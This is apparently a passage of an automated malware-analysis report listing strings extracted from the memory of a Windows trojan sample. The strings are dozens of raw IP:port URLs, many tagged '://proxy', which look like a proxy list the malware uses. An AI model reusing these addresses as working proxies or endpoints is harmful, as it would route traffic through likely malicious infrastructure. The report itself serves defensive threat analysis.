Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:57320://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:8879
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:8879://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:9141
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.134.140.160:9141://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.136.142.153:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.136.142.153:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C903D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.142.222.84:55718
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C903D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.142.222.84:55718://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.149.224.168:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.149.224.168:3128x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.149.224.3:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.149.224.3:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.189.122:30389
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.189.122:30389://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.189.122:60647
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.189.122:60647://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.67.17:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.67.17:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.77.58:56921
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.150.77.58:56921://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.185.236.24:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.185.236.24:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.186:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.186:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.188:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.188:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.189:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.189:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.190:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.177.190:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.237.78:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.189.237.78:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.197.77.118:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.197.77.118:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.199.93.32:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.199.93.32:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C924A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.200.114.58:55749
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C924A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.200.114.58:55749://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.200.115.49:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.200.115.49:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.230.219:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.230.219:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.203.114.71:42905
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.203.114.71:42905://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.203.242.66:222
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.203.242.66:222://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.210.228.148:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.210.228.148:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.210.228.148:8080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.213.249.200
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.213.249.200://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.213.249.200:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.214.31.234:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.214.31.234:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.214.31.234:8080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.231.186.133:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.231.186.133:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.233.111.49:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.233.111.49:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.233.223.147:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.233.223.147:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.236.156.30:8282
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.236.156.30:8282://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.211.180:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.211.180:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA6FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.241.21.237:9812
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.241.21.237:9812://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.241.217.58:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.241.217.58:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.247.250.215:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.247.250.215:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.247.92.63:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.247.92.63:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.65.102.60
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.65.102.60://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.65.102.60:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.155.207:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.155.207:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.80.199:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.80.199:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C675D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.118.132.125:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C675D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.118.132.125:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.119.238.211
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.119.238.211://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.119.238.211:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.180.50.202:8443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.180.50.202:8443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:12752
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:12752://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:15393
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:15393://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:1555
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:1555://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:25825
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:25825://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:28695
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:28695://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:38044
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:38044://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:42571
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:42571://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D45000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:52929
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:52929://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:54467
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:54467://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:59727
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.134.38:59727://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.203:31062
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.203:31062://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.37:22942
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.37:22942://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.37:51229
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.37:51229://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.4:44712
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.4:44712://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.4:58754
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.135.4:58754://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7823000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.136.149:12570
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.136.149:12570://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.136.149:16686
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.136.149:16686://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.136.149:17270
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.204.136.149:17270://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:17317
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:17317://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9591000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C950C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:39058
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C950C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:39058://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:60516
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:60516://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:63718
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.105.134:63718://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.107.159:57238
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.107.159:57238://proxy
